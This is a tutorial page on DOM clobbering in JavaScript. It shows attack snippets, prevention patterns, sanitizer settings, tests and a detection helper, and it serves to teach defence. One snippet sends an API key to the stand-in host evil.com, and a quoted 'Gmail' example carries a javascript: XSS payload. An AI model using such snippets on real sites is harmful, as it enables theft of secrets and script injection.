DOM Clobbering
Prevent DOM clobbering attacks and protect your JavaScript
DOM Clobbering
DOM Clobbering is an attack where HTML elements override JavaScript variables by naming them strategically. It can bypass security checks and lead to XSS.
The Problem
<!-- HTML -->
<img name="isAdmin" id="isAdmin" />
<script>
// JavaScript expects this to be undefined or false
if (window.isAdmin) { // ❌ Now it's an HTMLImageElement!
grantAdminAccess();
}
</script>How It Works
HTML elements with id or name attributes automatically create global variables:
<form id="myForm"></form>
<script>
console.log(window.myForm); // <form id="myForm"></form>
console.log(myForm); // Same element (global!)
</script>
<input name="username" />
<script>
console.log(document.forms[0].username); // <input name="username" />
</script>Common Attack Vectors
1. Overriding Variables
<!-- Attacker injects -->
<form id="config"></form>
<script>
// Developer code
if (config.apiEndpoint) { // ❌ config is now a form element!
fetch(config.apiEndpoint);
}
</script>2. Breaking typeof Checks
<img id="userRole" name="userRole" />
<script>
// ❌ typeof returns 'object' not 'undefined'
if (typeof userRole !== 'undefined') {
// Executes because userRole is an HTMLImageElement
}
</script>3. Nested Clobbering
<form id="config">
<input name="apiKey" value="malicious" />
</form>
<script>
// ❌ config.apiKey returns the input element
fetch('https://evil.com?key=' + config.apiKey.value);
</script>4. Document Property Clobbering
<img name="cookie" id="cookie" />
<script>
// ❌ document.cookie is now an image!
document.cookie = 'session=abc'; // Fails silently
</script>Prevention Strategies
1. Use const/let with Initialization
// ✅ SAFE: Initialized before any HTML executes
const config = {
apiEndpoint: '/api',
apiKey: 'secret',
};
// ❌ VULNERABLE: Can be clobbered
let userRole;2. Strict Equality Checks
// ❌ VULNERABLE
if (isAdmin) {
// Can be clobbered with <img id="isAdmin" />
}
// ✅ SAFE: Strict check
if (isAdmin === true) {
// Only true boolean works
}3. Type Validation
// ❌ VULNERABLE
function getConfig() {
return window.config || {};
}
// ✅ SAFE: Validate type
function getConfig() {
const config = window.config;
if (config && typeof config === 'object' && !config.nodeType) {
return config;
}
return {};
}4. Object.hasOwnProperty
// ❌ VULNERABLE
if (window.isAdmin) {
// Can be clobbered
}
// ✅ SAFE: Check own property
if (Object.prototype.hasOwnProperty.call(window, 'isAdmin') &&
window.isAdmin === true) {
// Safe
}5. Use Closures/IIFE
// ✅ SAFE: Variables in closure can't be clobbered
(function() {
const config = { apiKey: 'secret' };
function makeRequest() {
fetch('/api', {
headers: { 'X-API-Key': config.apiKey },
});
}
// config is safe inside closure
})();6. Content Security Policy
// Prevent inline HTML injection
const csp = `
default-src 'self';
img-src 'self' https:;
script-src 'self' 'nonce-{random}';
`;
response.headers.set('Content-Security-Policy', csp);Safe Patterns
Safe Variable Access
// Safe getter with validation
function getSafeValue<T>(
obj: any,
key: string,
expectedType: string
): T | null {
if (!Object.prototype.hasOwnProperty.call(obj, key)) {
return null;
}
const value = obj[key];
// Check it's not a DOM element
if (value && typeof value === 'object' && value.nodeType) {
console.warn(`DOM Clobbering detected for key: ${key}`);
return null;
}
// Check expected type
if (typeof value !== expectedType) {
return null;
}
return value as T;
}
// Usage
const isAdmin = getSafeValue<boolean>(window, 'isAdmin', 'boolean');
if (isAdmin === true) {
grantAdminAccess();
}Safe Config Object
// Immutable config
const CONFIG = Object.freeze({
API_ENDPOINT: '/api',
API_KEY: process.env.API_KEY,
MAX_RETRIES: 3,
});
// Can't be clobbered because it's frozen
Object.defineProperty(window, 'CONFIG', {
value: CONFIG,
writable: false,
configurable: false,
});Safe Element Access
// ❌ VULNERABLE
const form = document.myForm;
// ✅ SAFE
const form = document.getElementById('myForm');
const form = document.querySelector('#myForm');Sanitization
DOMPurify with DOM Clobbering Protection
import DOMPurify from 'dompurify';
// Configure to prevent clobbering
DOMPurify.setConfig({
SANITIZE_DOM: true,
KEEP_CONTENT: false,
});
// Sanitize user HTML
const clean = DOMPurify.sanitize(userHTML, {
FORBID_ATTR: ['id', 'name'], // Remove clobbering vectors
FORBID_TAGS: ['form', 'object', 'embed'],
});Manual Sanitization
function sanitizeHTML(html: string): string {
const temp = document.createElement('div');
temp.innerHTML = html;
// Remove dangerous attributes
const elements = temp.querySelectorAll('*');
elements.forEach(el => {
el.removeAttribute('id');
el.removeAttribute('name');
});
return temp.innerHTML;
}Framework Protection
React
// ✅ SAFE: React escapes by default
function Component({ userContent }: Props) {
return <div>{userContent}</div>;
}
// ❌ VULNERABLE: dangerouslySetInnerHTML
function Component({ userHTML }: Props) {
return <div dangerouslySetInnerHTML={{ __html: userHTML }} />;
}
// ✅ SAFE: Sanitize first
import DOMPurify from 'dompurify';
function Component({ userHTML }: Props) {
const clean = DOMPurify.sanitize(userHTML, {
SANITIZE_DOM: true,
FORBID_ATTR: ['id', 'name'],
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}Vue
<!-- ✅ SAFE: Vue escapes by default -->
<template>
<div>{{ userContent }}</div>
</template>
<!-- ❌ VULNERABLE: v-html -->
<template>
<div v-html="userHTML"></div>
</template>
<!-- ✅ SAFE: Sanitize first -->
<template>
<div v-html="sanitizedHTML"></div>
</template>
<script setup>
import DOMPurify from 'dompurify';
const sanitizedHTML = computed(() =>
DOMPurify.sanitize(userHTML.value, {
SANITIZE_DOM: true,
FORBID_ATTR: ['id', 'name'],
})
);
</script>Testing
describe('DOM Clobbering Protection', () => {
it('should not be affected by id attribute', () => {
// Inject clobbering attempt
document.body.innerHTML = '<img id="isAdmin" />';
// Test protection
const isAdmin = getSafeValue(window, 'isAdmin', 'boolean');
expect(isAdmin).toBeNull();
});
it('should reject DOM elements', () => {
document.body.innerHTML = '<form id="config"></form>';
const config = getConfig();
expect(config.nodeType).toBeUndefined();
});
it('should use initialized variables', () => {
const API_KEY = 'secret';
document.body.innerHTML = '<img id="API_KEY" />';
// Variable takes precedence
expect(typeof API_KEY).toBe('string');
expect(API_KEY).toBe('secret');
});
});Real-World Examples
Gmail XSS via DOM Clobbering (2013)
<!-- Attacker email HTML -->
<form id="onload">
<input name="action" value="javascript:alert(document.domain)" />
</form>
<!-- Gmail's code -->
<script>
if (onload && onload.action) {
location = onload.action; // XSS!
}
</script>PayPal Vulnerability (2019)
<img name="cookie" id="cookie" />
<script>
// PayPal's check
if (document.cookie.indexOf('session=') > -1) {
// ❌ document.cookie is now an image!
// Check always fails
}
</script>Best Practices
- Initialize variables early: Before HTML loads
- Strict type checks: Use
===andtypeof - Validate types: Check for DOM elements
- Use const/let: Never rely on var or globals
- Sanitize HTML: Remove id/name from user content
- CSP: Prevent inline HTML injection
- Safe selectors: Use
getElementById()notdocument.id - Test: Add clobbering tests to your suite
- Framework defaults: Trust React/Vue escaping
- Code review: Watch for global variable access
Detection
// Detect potential clobbering
function detectClobbering() {
const dangerousNames = ['config', 'user', 'data', 'admin', 'isAdmin'];
dangerousNames.forEach(name => {
const value = window[name];
if (value && typeof value === 'object' && value.nodeType) {
console.warn(`⚠️ Potential DOM Clobbering detected: ${name}`);
}
});
}
// Run on load
if (typeof window !== 'undefined') {
detectClobbering();
}Common Pitfalls
❌ Using globals: window.config, document.form
✅ Initialize locally: const config = {}
❌ Truthy checks: if (isAdmin)
✅ Strict checks: if (isAdmin === true)
❌ No type validation: Assume variable type
✅ Validate types and check for DOM elements
❌ Allowing id/name: In user HTML
✅ Strip id/name attributes
❌ Ignoring CSP: No HTML injection protection
✅ Use CSP to prevent injection
DOM Clobbering is subtle but dangerous—initialize variables early, validate types strictly, and sanitize user HTML!